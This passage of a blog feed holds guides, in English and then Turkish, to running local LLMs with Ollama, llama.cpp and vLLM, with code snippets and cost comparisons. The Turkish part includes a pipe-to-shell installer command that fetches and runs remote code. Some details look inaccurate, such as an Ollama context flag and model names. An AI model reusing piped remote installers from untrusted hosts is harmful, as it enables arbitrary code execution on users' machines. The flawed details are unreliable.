    &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'llama3.2'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'content'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'Can you write a Python function that calculates factorials?'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'content'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="openai-sdk-compatibility"&gt;OpenAI SDK Compatibility&lt;a class="headerlink" href="#openai-sdk-compatibility" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Ollama exposes an OpenAI-compatible API, so you can transition your existing code by changing only the base URL:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;openai&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OpenAI&lt;/span&gt;

&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OpenAI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:11434/v1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;api_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ollama"&lt;/span&gt;  &lt;span class="c1"&gt;# Dummy key is enough&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"llama3.2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="s2"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Hello!"&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="llamacpp-setup-maximum-control_1"&gt;llama.cpp Setup (Maximum Control) ⚙️&lt;a class="headerlink" href="#llamacpp-setup-maximum-control" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you want more control and speed, proceed directly via llama.cpp.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# 1. Clone the repository and build&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/ggerganov/llama.cpp
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;llama.cpp
$&lt;span class="w"&gt; &lt;/span&gt;make

&lt;span class="c1"&gt;# 2. Place your downloaded GGUF model from Hugging Face into models/ folder&lt;/span&gt;

&lt;span class="c1"&gt;# 3. Run with custom compression and memory parameters&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;./llama-cli&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;models/llama-7b-q4_k_m.gguf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4096&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--temp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="finding-gguf-models"&gt;Finding GGUF Models&lt;a class="headerlink" href="#finding-gguf-models" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Hugging Face hosts many GGUF-format models. Search for "GGUF" and filter by model size. Popular choices include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Qwen 2.5:&lt;/strong&gt; One of the most capable models of the recent era, available in different sizes. (If you want to run a Qwen-based model locally as a coding assistant, my &lt;a href="/en/qwen-3-6-27b-yerel-kod-modeli-kurulumu/"&gt;Qwen 3.6 Local Code Model Setup&lt;/a&gt; guide will help you).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Llama 3.2:&lt;/strong&gt; Meta's official lightweight and fast models.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phi-3:&lt;/strong&gt; Microsoft's small but mighty models.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mistral:&lt;/strong&gt; Famous for its balance of intelligence and size.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For detailed intelligence and performance comparisons of the most successful open-source models you can run locally in 2026, check out my &lt;a href="/en/en-iyi-yerel-llm-modelleri-2026/"&gt;Best Local LLM Models (2026)&lt;/a&gt; review.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="performance-tips-to-boost-your-setup_1"&gt;Performance Tips to Boost Your Setup 💡&lt;a class="headerlink" href="#performance-tips-to-boost-your-setup" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Enable GPU Acceleration:&lt;/strong&gt;
    Trying to force AI to run on just CPU instead of the graphics card (GPU) is like trying to drive a sports car uphill with the handbrake pulled.&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; If you are using llama.cpp, make sure to compile with CUDA support:
    &lt;code&gt;bash
    $ make LLAMA_CUDA=1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Memory and Context Length:&lt;/strong&gt;
    Models open with a default context limit of 4K (4096 tokens). On most graphics cards, you can push this to 8K or 16K. However, going to 32K and above will consume VRAM significantly.
    &lt;code&gt;bash
    # Set context to 8K on Ollama:
    $ ollama run llama3.2 -c 8192&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Batch Size:&lt;/strong&gt;
    To speed up prompt ingestion, you can increase this value. If you have headroom in your VRAM, you can push the default to 512.
    &lt;code&gt;bash
    $ ./llama-cli -b 512 -m model.gguf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="cloud-api-services-vs-local-setup"&gt;Cloud API Services vs. Local Setup&lt;a class="headerlink" href="#cloud-api-services-vs-local-setup" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Factor&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Cloud API Services&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Self-Hosted&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Setup Time&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;A few minutes&lt;/td&gt;
&lt;td style="text-align: left;"&gt;A few hours&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Cost (low usage)&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Pay per use&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Requires hardware investment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Cost (high usage)&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;High monthly bills (around 23,000 TL+)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Only electricity bill (around 500 - 1,500 TL/month)&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Privacy&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Your data goes to cloud servers&lt;/td&gt;
&lt;td style="text-align: left;"&gt;100% local and private&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Customization&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Limited to available models&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Any model, any fine-tune&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Maintenance&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;No maintenance required&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Updates and hardware maintenance required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Performance&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Latest flagship models&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Limited by hardware power&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="popular-setup-recipes"&gt;Popular Setup Recipes 💡&lt;a class="headerlink" href="#popular-setup-recipes" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Budget-Friendly Coding Assistant:&lt;/strong&gt; RTX 3060 + Ollama + Llama 3.2 7B. Runs silently in the background, answers coding questions, and reviews code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Developer Workstation:&lt;/strong&gt; RTX 4090 + Ollama + Mix of models. 13B/14B for complex tasks, 7B for quick chats. Can also run Stable Diffusion for image generation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Home Server (Enthusiast):&lt;/strong&gt; Threadripper CPU + Multiple RTX 4090s + vLLM. Serves multiple models to a family or a small team. Can be trained on local documents.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="when-is-a-local-setup-not-needed"&gt;When is a Local Setup Not Needed?&lt;a class="headerlink" href="#when-is-a-local-setup-not-needed" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you must always use the most intelligent and up-to-date models (GPT-4, Claude 3.5 Opus, etc.), do not leave the cloud. If you only ask AI a question once in a blue moon, using APIs is still more cost-effective. If you do not enjoy dealing with technical configurations, the setup process might feel tedious.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="security-measures"&gt;Security Measures 🔒&lt;a class="headerlink" href="#security-measures" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Running locally keeps your data private, but you still need to be careful:
1.  Do not download model files from unknown sources on Hugging Face.
2.  Keep your interface software regularly updated.
3.  If possible, isolate the AI server from other critical home networks and sensitive systems.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="to-get-to-the-point"&gt;To Get to the Point&lt;a class="headerlink" href="#to-get-to-the-point" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;As of 2026, running local AI is no longer just a hobby; it has become a very logical step for privacy and budget management. Starting with Ollama to see the limits of your system is the most sensible path, my friend. 🚀&lt;/p&gt;
&lt;p&gt;At the end of the day, even if local models cannot fully match the massive processing power of the cloud, having an AI that is under your own control and runs smoothly even if the internet goes down is priceless.&lt;/p&gt;
&lt;p&gt;Stay safe!&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;In high-usage scenarios, the money paid to cloud providers eventually exceeds the cost of building your own hardware.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Trying to force AI to run on just CPU instead of the graphics card (GPU) is like trying to drive a sports car uphill with the handbrake pulled.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Residential electricity prices in Turkey are tiered. According to EPDK's 2026 rates, the cost of 1 kWh including taxes varies between 3.24 TL and 5.46 TL. A single-GPU developer workstation running under full load for an average of 8 hours a day consumes about 120-150 kWh per month, which falls into this bill range.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Geliştirme Araçları"/><category term="yapay-zeka"/><category term="yerel-llm"/><category term="ollama"/><category term="llama-cpp"/><category term="vllm"/><category term="rehber"/></entry><entry><title>Kendi Sunucunda Yapay Zeka (2026): Gizlilik ve Tasarruf İçin Yerel LLM Rehberi</title><link href="https://yuceltoluyag.github.io/yerel-llm-kurulum-rehberi-2026/" rel="alternate"/><published>2026-06-04T22:45:00+03:00</published><updated>2026-06-04T22:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-04:/yerel-llm-kurulum-rehberi-2026/</id><summary type="html">&lt;p&gt;2026 yılında kendi sisteminizde yapay zeka modellerini çalıştırmanın yollarını, donanım gereksinimlerini ve en verimli yazılımları (Ollama, llama.cpp, vLLM) inceliyoruz.&lt;/p&gt;</summary><content type="html">&lt;p&gt;D&amp;uuml;n ak&amp;scedil;am bizim ufakl&amp;inodot;klar&amp;inodot; uyuttuktan sonra, masan&amp;inodot;n &amp;uuml;zerindeki &amp;ccedil;ay&amp;inodot;mdan bir yudum al&amp;inodot;p yerel yapay zeka kurulumlar&amp;inodot;m&amp;inodot; kurcalamaya ba&amp;scedil;lad&amp;inodot;m. 💻 Bulut servislerine giden verilerin gizlili&amp;gbreve;i ve her ay kabaran API faturalar&amp;inodot; bir s&amp;uuml;redir kafam&amp;inodot; kurcal&amp;inodot;yordu. Kendi kendime, "Neden t&amp;uuml;m bu asistanl&amp;inodot;k i&amp;scedil;lerini kendi yerel sunucumuzda halletmiyoruz?" dedim.&lt;/p&gt;
&lt;p&gt;Bu rehber; verilerinin d&amp;inodot;&amp;scedil;ar&amp;inodot; &amp;ccedil;&amp;inodot;kmas&amp;inodot;n&amp;inodot; istemeyen, gizlili&amp;gbreve;e &amp;ouml;nem veren geli&amp;scedil;tiricileri, API faturalar&amp;inodot;ndan kurtulmak isteyenleri ve kendi donan&amp;inodot;m&amp;inodot;n&amp;inodot;n s&amp;inodot;n&amp;inodot;rlar&amp;inodot;n&amp;inodot; zorlamaktan keyif alan herkesi ilgilendiriyor. Yaz&amp;inodot;n&amp;inodot;n sonunda, 2026 itibar&amp;inodot;yla yerel yapay zeka d&amp;uuml;nyas&amp;inodot;n&amp;inodot;n ne durumda oldu&amp;gbreve;unu, Ollama, llama.cpp ve vLLM gibi pop&amp;uuml;ler ara&amp;ccedil;lar&amp;inodot; nas&amp;inodot;l kullanaca&amp;gbreve;&amp;inodot;m&amp;inodot;z&amp;inodot; ve donan&amp;inodot;m gereksinimlerini net bir &amp;scedil;ekilde g&amp;ouml;receksiniz dostum. 🚀&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="neden-2026da-kendi-sunucumuz"&gt;Neden 2026'da Kendi Sunucumuz? 💰&lt;a class="headerlink" href="#neden-2026da-kendi-sunucumuz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yerel yapay zeka d&amp;uuml;nyas&amp;inodot;nda dengeler tamamen de&amp;gbreve;i&amp;scedil;ti. Bulut servislerinin (GPT-4 ve Claude gibi) yo&amp;gbreve;un kullan&amp;inodot;mda ayl&amp;inodot;k API faturalar&amp;inodot; kolayca 500 dolar&amp;inodot; (yakla&amp;scedil;&amp;inodot;k 23.000 TL) a&amp;scedil;abiliyor.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; &amp;Idot;lk etapta donan&amp;inodot;m yat&amp;inodot;r&amp;inodot;m&amp;inodot; y&amp;uuml;ksek gibi g&amp;ouml;r&amp;uuml;nse de, d&amp;uuml;zenli kullan&amp;inodot;mda sistem kendini &amp;ccedil;ok h&amp;inodot;zl&amp;inodot; amorti ediyor. Bu kurulumlar i&amp;ccedil;in b&amp;uuml;t&amp;ccedil;enize en uygun ekran kart&amp;inodot;n&amp;inodot; se&amp;ccedil;mek kritik &amp;ouml;nem ta&amp;scedil;&amp;inodot;yor; ekran kart&amp;inodot; modelleri ve b&amp;uuml;t&amp;ccedil;e segmentleri hakk&amp;inodot;nda detayl&amp;inodot; incelemem i&amp;ccedil;in &lt;a href="/yerel-llmler-icin-en-iyi-gpu-2026/"&gt;Yerel LLM'ler &amp;Idot;&amp;ccedil;in En &amp;Idot;yi Ekran Kartlar&amp;inodot; (2026)&lt;/a&gt; yaz&amp;inodot;ma g&amp;ouml;z atabilirsiniz.&lt;/p&gt;
&lt;p&gt;En &amp;ouml;nemlisi de gizlilik art&amp;inodot;k l&amp;uuml;ks de&amp;gbreve;il, bir zorunluluk. Yazd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z kodlar&amp;inodot;n, &amp;scedil;irket belgelerinizin veya ki&amp;scedil;isel sohbetlerinizin b&amp;uuml;y&amp;uuml;k teknoloji &amp;scedil;irketlerinin modellerini e&amp;gbreve;itmek i&amp;ccedil;in kullan&amp;inodot;lmas&amp;inodot;n&amp;inodot; kim ister?&lt;/p&gt;
&lt;p&gt;Modeller de inan&amp;inodot;lmaz geli&amp;scedil;ti. S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma (quantization) teknikleri sayesinde yerelde ko&amp;scedil;an 13B (milyar parametreli) bir model, &amp;ccedil;o&amp;gbreve;u g&amp;uuml;nl&amp;uuml;k i&amp;scedil; ak&amp;inodot;&amp;scedil;&amp;inodot;nda eski GPT-3.5 seviyesini rahatl&amp;inodot;kla geride b&amp;inodot;rak&amp;inodot;yor. &amp;Ccedil;o&amp;gbreve;u zaman d&amp;uuml;nyan&amp;inodot;n en b&amp;uuml;y&amp;uuml;k modeline de&amp;gbreve;il, i&amp;scedil;inizi t&amp;inodot;k&amp;inodot;r t&amp;inodot;k&amp;inodot;r halledecek do&amp;gbreve;ru modele ihtiyac&amp;inodot;n&amp;inodot;z var.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="yerel-yapay-zekann-uc-buyuk-arac"&gt;Yerel Yapay Zekan&amp;inodot;n &amp;Uuml;&amp;ccedil; B&amp;uuml;y&amp;uuml;k Arac&amp;inodot; ⚙️&lt;a class="headerlink" href="#yerel-yapay-zekann-uc-buyuk-arac" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="1-ollama-kolaylk-arayanlar-icin-tek-komutla-kurulum"&gt;1. Ollama &amp;mdash; Kolayl&amp;inodot;k Arayanlar &amp;Idot;&amp;ccedil;in (Tek Komutla Kurulum)&lt;a class="headerlink" href="#1-ollama-kolaylk-arayanlar-icin-tek-komutla-kurulum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://ollama.com/" rel="noopener noreferrer" target="_blank"&gt;Ollama&lt;/a&gt; yerel d&amp;uuml;nyay&amp;inodot; tamamen de&amp;gbreve;i&amp;scedil;tirdi. Kurulumu tek sat&amp;inodot;r, &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmas&amp;inodot; tek sat&amp;inodot;r. Modeli arka planda indirmeyi, ekran kart&amp;inodot; (GPU) belle&amp;gbreve;ine yerle&amp;scedil;tirmeyi ve yerel bir sunucu gibi aya&amp;gbreve;a kald&amp;inodot;rmay&amp;inodot; tamamen kendi hallediyor.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Kurulum (Linux ve macOS)&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-fsSL&lt;span class="w"&gt; &lt;/span&gt;https://ollama.com/install.sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sh

&lt;span class="c1"&gt;# Modeli &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;llama3.2

&lt;span class="c1"&gt;# Y&amp;uuml;kl&amp;uuml; modelleri listeleme&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;list
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ollama; Windows, macOS ve Linux &amp;uuml;zerinde ekran kart&amp;inodot; ivmelendirmesini otomatik olarak alg&amp;inodot;lay&amp;inodot;p kullan&amp;inodot;yor. K&amp;uuml;t&amp;uuml;phanesinde kullan&amp;inodot;ma haz&amp;inodot;r y&amp;uuml;zlerce model bar&amp;inodot;nd&amp;inodot;r&amp;inodot;yor.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;En &amp;Idot;yi Kullan&amp;inodot;m Yeri:&lt;/strong&gt; H&amp;inodot;zl&amp;inodot;ca aya&amp;gbreve;a kalkmak ve karma&amp;scedil;&amp;inodot;k ayarlarla u&amp;gbreve;ra&amp;scedil;madan hemen kodlamaya ba&amp;scedil;lamak isteyenler.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-llamacpp-maksimum-performans-ve-ince-ayar"&gt;2. llama.cpp &amp;mdash; Maksimum Performans ve &amp;Idot;nce Ayar&lt;a class="headerlink" href="#2-llamacpp-maksimum-performans-ve-ince-ayar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/ggerganov/llama.cpp" rel="noopener noreferrer" target="_blank"&gt;llama.cpp&lt;/a&gt; yerel yapay zeka ekosisteminin en temel motorudur. C++ ile tamamen s&amp;inodot;f&amp;inodot;rdan yaz&amp;inodot;lm&amp;inodot;&amp;scedil;, t&amp;uuml;ketici donan&amp;inodot;mlar&amp;inodot;nda maksimum verim elde etmek i&amp;ccedil;in tasarlanm&amp;inodot;&amp;scedil; bir yap&amp;inodot;d&amp;inodot;r.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Depoyu klonlay&amp;inodot;p derleme&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/ggerganov/llama.cpp
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;llama.cpp
$&lt;span class="w"&gt; &lt;/span&gt;make

&lt;span class="c1"&gt;# S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;lm&amp;inodot;&amp;scedil; GGUF modelini &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;./llama-cli&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;models/llama-7b-q4_k_m.gguf&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;256&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;llama.cpp &amp;ccedil;ok daha fazla s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma format&amp;inodot;n&amp;inodot; destekliyor ve kaynak t&amp;uuml;ketimi konusunda inan&amp;inodot;lmaz derecede cimri davran&amp;inodot;yor.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;En &amp;Idot;yi Kullan&amp;inodot;m Yeri:&lt;/strong&gt; S&amp;inodot;n&amp;inodot;rl&amp;inodot; donan&amp;inodot;mda en y&amp;uuml;ksek h&amp;inodot;z&amp;inodot; elde etmek ve bellek payla&amp;scedil;&amp;inodot;m&amp;inodot;n&amp;inodot; milimetrik ayarlamak isteyen profesyoneller.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-vllm-uretim-odakl-ve-cok-kullancl-sistemler"&gt;3. vLLM &amp;mdash; &amp;Uuml;retim Odakl&amp;inodot; ve &amp;Ccedil;ok Kullan&amp;inodot;c&amp;inodot;l&amp;inodot; Sistemler&lt;a class="headerlink" href="#3-vllm-uretim-odakl-ve-cok-kullancl-sistemler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://vllm.ai/" rel="noopener noreferrer" target="_blank"&gt;vLLM&lt;/a&gt; i&amp;scedil;i b&amp;uuml;y&amp;uuml;tmek isteyenler i&amp;ccedil;in bi&amp;ccedil;ilmi&amp;scedil; kaftan. "PagedAttention" teknolojisi sayesinde ayn&amp;inodot; anda birden fazla kullan&amp;inodot;c&amp;inodot;n&amp;inodot;n isteklerini &amp;ccedil;ok daha y&amp;uuml;ksek kelime &amp;uuml;retim h&amp;inodot;z&amp;inodot;yla yan&amp;inodot;tlayabiliyor.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Hugging Face &amp;uuml;zerindeki modeli vLLM ile sunma&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;python3&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;vllm.entrypoints.openai.api_server&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--model&lt;span class="w"&gt; &lt;/span&gt;meta-llama/Llama-3.1-8B-Instruct&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--dtype&lt;span class="w"&gt; &lt;/span&gt;half&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--tensor-parallel-size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
